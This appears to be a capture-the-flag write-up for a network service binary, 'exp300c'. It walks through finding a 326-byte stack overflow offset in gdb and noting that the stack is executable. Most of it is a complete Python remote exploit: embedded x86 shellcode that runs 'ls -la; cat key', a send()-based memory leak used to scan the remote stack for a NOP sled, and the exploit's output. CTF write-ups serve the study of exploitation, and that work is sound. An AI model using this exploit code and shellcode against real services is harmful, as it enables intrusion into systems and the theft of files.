Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar

Breakpoint in read and check the stack before the return

db$ stepi
--------------------------------------------------------------------------[regs]
  EAX: 0x00000201  EBX: 0x0000595F  ECX: 0xBFFFF216  EDX: 0x00000800  o d I t S z a P c
  ESI: 0x00000000  EDI: 0xB7FC3FF4  EBP: 0xBFFFF678  ESP: 0xBFFFF35C  EIP: 0x080488C7
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488c7: ret    
   0x80488c8: sub    esp,0x1c
   0x80488cb: mov    DWORD PTR [esp],0x8048e23
   0x80488d2: call   0x80486b0 <puts@plt>
   0x80488d7: call   0x804889e
   0x80488dc: add    esp,0x1c
   0x80488df: ret    
   0x80488e0: push   edi
--------------------------------------------------------------------------------
0x080488c7 in ?? ()
gdb$ x/8x $esp
0xbffff35c: 0x396b4138  0x41306c41  0x6c41316c  0x336c4132
0xbffff36c: 0x41346c41  0x6c41356c  0x376c4136  0x41386c41

Stack smashed. Calculate buffer length for EIP control:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x396b4138
326

Now how can we exploit this buffer overflow to get the key ?

Checking the ELF headers:

$ eu-readelf -l exp300c.txt
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00121c 0x00121c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00015c 0x00016c RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x000f9c 0x08048f9c 0x08048f9c 0x000094 0x000094 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is RWE! So we will put our shellcode in the buffer (and on the stack) and jump to ip.

To get the right offset on the stack, we will fake parameters push on the stack and call send() to get dump of various memory ranges.

The way I went for it is to write a scanner with this infoleak. It will quickly scan the usual range for the stack (0xbfffffff) until it finds some readable data then i will switch to a more precise scanning and look for the nopsled we have put in front of the shellcode. As soon we have the offset of the nopsled, we switch from infoleak to exploit and jump to the shellcode which dump the content of the key file.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack

host = sys.argv[1]
port = 4842

shellcode =  "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x17\x00\x00"
shellcode += "\x00\x6c\x73\x20\x2d\x6c\x61\x3e\x26\x34\x20\x3b\x20\x63"
shellcode += "\x61\x74\x20\x6b\x65\x79\x3e\x26\x34\x00\x57\x53\x89\xe1"
shellcode += "\xcd\x80"

def connect_to_host():

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
 
  s.recv(132) # read banner

  return s

def exploit(offset):

  s = connect_to_host()

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += pack("L", offset)

  s.send(payload)

  data = True

  while data:
    data = s.recv(1024)
    print repr(data)
   
  s.close()

def leak(offset, size):

  s = connect_to_host()

  off_send = pack("L", 0x08048770)

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += off_send

  payload += pack('<I', 0x08048813) # exit

  payload += pack('<I', 0x4) # fd
  payload += pack('<I', offset)
  payload += pack('<I', size) # len
  payload += pack('<I', 0x40) # flags

  s.send(payload)

  result = ''
  data = True

  while data:
    data = s.recv(1024)
    result += data
   
  s.close()

  return result

print "Searching stack..."

off_shellcode_start = 0xbfffffff

data = ''

while data == '' or data == '\x00\x00\x00\x00':
  data = leak(off_shellcode_start, 4096)
  print "stack offset=", hex(off_shellcode_start), repr(data)
  if data == '' or data == '\x00\x00\x00\x00':
    off_shellcode_start -= 0xf000

print "Searching shellcode..."

data = ''

while data != '\x90\x90\x90\x90':
  data = leak(off_shellcode_start, 4)
  print "shellcode offset=", hex(off_shellcode_start), "data=", repr(data)
  if data != '\x90\x90\x90\x90':
    off_shellcode_start += 8

print "Exploiting at offset", hex(off_shellcode_start)

exploit(off_shellcode_start)

sys.exit(0)

Exploit output:

$ python exploit.py localhost
Searching stack...
stack offset= 0xbfffffffL ''
stack offset= 0xbfff0fffL ''
stack offset= 0xbffe1fffL ''
...
stack offset= 0xbfba9fffL ''
stack offset= 0xbfb9afffL '\x00\x00\x00\x00'
Searching shellcode...
shellcode offset= 0xbfb9afffL data= '\x00\x00\x00\x00'
shellcode offset= 0xbfb9b007L data= '\x00\x00\x00\x00'
...
shellcode offset= 0xbfb9cac7L data= '\xbf\x00\x08\x00'
shellcode offset= 0xbfb9cacfL data= '\x00\x04\x00\x00'
shellcode offset= 0xbfb9cad7L data= '\x90\x90\x90\x90'
Exploiting at offset 0xbfb9cad7L
'total 20\ndrwxr-xr-x  2 liaotian liaotian 4096 Sep 29 00:27 .\ndrwxr-xr-x 14 root     root     4096 Sep 29 00:27 ..\n-rw-r--r--  1 liaotian liaotian  220 Apr 10  2010 .bash_logout\n-rw-r--r--  1 liaotian liaotian 3184 Apr 10  2010 .bashrc\n-rw-r--r--  1 liaotian liaotian  675 Apr 10  2010 .profile\n'
Share